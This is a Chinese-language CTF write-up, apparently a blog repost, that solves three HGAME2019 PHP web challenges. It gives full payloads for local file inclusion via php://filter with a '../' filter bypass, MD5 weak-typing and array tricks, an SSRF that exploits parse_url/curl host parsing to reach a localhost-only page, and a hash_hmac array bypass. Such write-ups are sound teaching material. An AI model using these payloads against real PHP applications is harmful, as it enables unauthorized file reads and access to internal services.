美文网首页
HGAME2019-Week 2

HGAME2019-Week 2

作者: ch3nie | 来源:发表于2019-04-03 15:53 被阅读0次

    title: HGAME2019-Week 2
    date: 2019-02-09 20:31:16
    tags: [Writeup,ctf]
    categories: hgame


    Week-2 web

    easy_php

    描述 代码审计♂第二弹
    URL http://118.24.25.25:9999/easyphp/index.html
    

    访问连接发现什么都没有,然后在robots.txt下找到一个路径,访问后是源码

    <?php
        error_reporting(0);
        $img = $_GET['img'];
        if(!isset($img))
            $img = '1';
        $img = str_replace('../', '', $img);
        include_once($img.".php");
        highlight_file(__FILE__);
    

    函数str_replace()把参数img中的../替换为空,且只替换了一次,我们可以用.../...//来绕过。传过来的参数作为文件名,包含固定后缀.php的文件,利用php伪协议读取base64加密后的flag。

    ?img=php://filter/read=convert.base64-encode/resource=.../...//flag

    img

    然后base64解密,拿到flaghgame{You_4re_So_g0od}

    img

    php trick

    描述 some php tricks
    URL http://118.24.3.214:3001
    

    访问链接后源码如下

    <?php
    //admin.php
    highlight_file(__FILE__);
    $str1 = (string)@$_GET['str1'];
    $str2 = (string)@$_GET['str2'];
    $str3 = @$_GET['str3'];
    $str4 = @$_GET['str4'];
    $str5 = @$_GET['H_game'];
    $url = @$_GET['url'];
    if( $str1 == $str2 ){
        die('step 1 fail');
    }
    if( md5($str1) != md5($str2) ){
        die('step 2 fail');
    }
    if( $str3 == $str4 ){
        die('step 3 fail');
    }
    if ( md5($str3) !== md5($str4)){
        die('step 4 fail');
    }
    if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
        die('step 5 fail');
    }
    if(is_numeric($str5)){
        die('step 6 fail');
    }
    if ($str5<9999999999){
        die('step 7 fail');
    }
    if ((string)$str5>0){
        die('step 8 fial');
    }
    if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
        die('step 9 fail');
    }
    if (parse_url($url,PHP_URL_SCHEME) !== "http"){
        die('step 10 fail');
    }
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    $output = curl_exec($ch);
    curl_close($ch);
    if($output === FALSE){
        die('step 11 fail');
    }
    else{
        echo $output;
    }
    

    分析源代码,共传过去6个参数。参数str1和str2为字符串,在满足两个字符串不同的同时他们的MD5值要相同。由于PHP弱类型,在比较哈希字符串时利用!===时,每一个以0E开头的哈希值,PHP会认为他们相同,都是0。str1=aabg7XSs str2=aabC9RqS这样我们就绕过step 1和2。

    if( $str1 == $str2 ){
        die('step 1 fail');
    }
    if( md5($str1) != md5($str2) ){
        die('step 2 fail');
    }
    

    参数str3和str4没有要求为字符串,两个参数不同但是MD5要相同,与str1和str2不同的时str3和str4在比较哈希值时不存在弱类型比较,这里是!==。这里我们可以传数组str3[]=0 str4[]=1绕过,原因是在判断两个数组时两个数组确实是不同的,但是md5()函数是不能处理数组的,md5(数组)会返回null,这样两个的md5就相同了。

    if( $str3 == $str4 ){
        die('step 3 fail');
    }
    if ( md5($str3) !== md5($str4)){
        die('step 4 fail');
    }
    

    第五个获取的参数是H_game,但是这里却要求参数名不能有H_game,str5不能是数字且要求str5的值大于等于9999999999,而且str5强制类型转换为字符串后要小于等于0。这里我们可以用+.来绕过,php自身在解析请求时+.会被解析成_,所以H+gameH_game,绕过step 5。不能是数字,而且要大于9999999999我们可以用数组来绕过,数组永远比数字大,H+game[]=1绕过。

    if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
        die('step 5 fail');
    }
    if(is_numeric($str5)){
        die('step 6 fail');
    }
    if ($str5<9999999999){
        die('step 7 fail');
    }
    if ((string)$str5>0){
        die('step 8 fial');
    }
    

    第六个参数url,要求parse_url()解析url主机为www.baidu.com,协议是http,即URL中最后一个@符号后面的为host。然后curl打开一个网页。curl解析的hos是第一个@符合后面的。

    if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
        die('step 9 fail');
    }
    if (parse_url($url,PHP_URL_SCHEME) !== "http"){
        die('step 10 fail');
    }
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    $output = curl_exec($ch);
    curl_close($ch);
    if($output === FALSE){
        die('step 11 fail');
    }
    else{
        echo $output;
    }
    

    源码的注释中有admin.php,尝试payload为?str1=aabg7XSs&str2=aabC9RqS&str3[]=0&str4[]=1&H+game[]=1&url=http://@127.0.0.1:80@www.baidu.com/admin.php得到admin.php的代码。

    <?php
    //flag.php
    if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
        die('only localhost can see it');
    }
    $filename = $_GET['filename']??'';
    
    if (file_exists($filename)) {
        echo "sorry,you can't see it";
    }
    else{
        echo file_get_contents($filename);
    }
    highlight_file(__FILE__);
    ?>
    

    admin.php的文件需要我们传过去一个filename参数,file_exists()函数会检查文件是否存在,如果存在则返回sorry,you can't see it不让查看,否则file_get_contents() 函数把整个文件读入一个字符串中。如果我们?filename=flag.php会不能查看,但是我们可以?filename=./[anything]/../flag.php,这样文件存在,但函数file_exists()不显示它,就可以file_get_contents() 函数把flag.php文件读入一个字符串中。最终payload为?str1=aabg7XSs&str2=aabC9RqS&str3[]=0&str4[]=1&H+game[]=1&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=./a/../flag.php,查看源码拿到flaghgame{ThEr4_Ar4_s0m4_Php_Tr1cks}

    img

    也可以用php伪协议读取flag.php,payload为``?str1=aabg7XSs&str2=aabC9RqS&str3[]=0&str4[]=1&H+game[]=1&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php`读取base64加密后的flag.php,然后再解密拿到flag。

    PHP Is The Best Language

    描述 var_dump了解一下
    URL http://118.25.89.91:8888/flag.php
    

    源码如下

    <?php  
    
    include 'secret.php'; 
    
    #echo $flag; 
    #echo $secret; 
    
    if (empty($_POST['gate']) || empty($_POST['key'])) { 
        highlight_file(__FILE__); 
        exit; 
    } 
    
    if (isset($_POST['door'])){ 
        $secret = hash_hmac('sha256', $_POST['door'], $secret); 
    } 
    
    $gate = hash_hmac('sha256', $_POST['key'], $secret); 
    
    if ($gate !== $_POST['gate']) { 
        echo "Hacker GetOut!!"; 
        exit; 
    } 
    
    if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) { 
        echo "Wow!!!"; 
        echo "</br>"; 
        echo $flag; 
    } 
    else { 
        echo "Hacker GetOut!!"; 
    } 
    
    ?> 
    

    分析源代码,empty()函数检查变量是否为空,只要gate和key有一个为空则退出,要求gate与key必须不为空。如果door存在,获取的door作为要进行哈希运算的消息,$secret为密钥,这里我们不知道secret的值。加密之后的secret作为密钥去加密传入的key,得到key加密后的$gate。这里加密得到的$gate与我们传人的gate比较,要求传入的gate和加密得到的$gate的值相等。

    这里我们让secret生成为固定值。hash_hmac()函数的data参数不能为数组,如果hash_hmac函数参数错误,则会返回false,这样我们传进去door为数组,那么$secret就为固定值了。

    我们再看key需要符合这样的要求,(md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1我们可以爆破得到key。

    <?php
    for ($key = 1 ;$key<1000000;$key++){
        if ((md5($key)+1) == (md5(md5($key)))+1) {
            echo $key;
            $gate = hash_hmac('sha256', $key, false);
            var_dump($gate);
            break;  
        }
    }
    ?>
    

    得到key为12,gate为4217722a8aee69d5ed50f3e5ed1cceb1feb79784baaaa6bbf53515ce0eb4daaf。

    最终payload为gate=4217722a8aee69d5ed50f3e5ed1cceb1feb79784baaaa6bbf53515ce0eb4daaf&key=12&door[]=最后拿到flag为hgame{Php_MayBe_Not_Safe}

    img

    也可直接找双MD5碰撞,即0e开头的MD5值其md5结果也是0e开头。CTF中if (md5(md5(_GET[‘a’])) == md5(_GET[‘b’])) 的绕过

    相关文章

      网友评论

          本文标题:HGAME2019-Week 2

          本文链接:https://www.haomeiwen.com/subject/ckezbqtx.html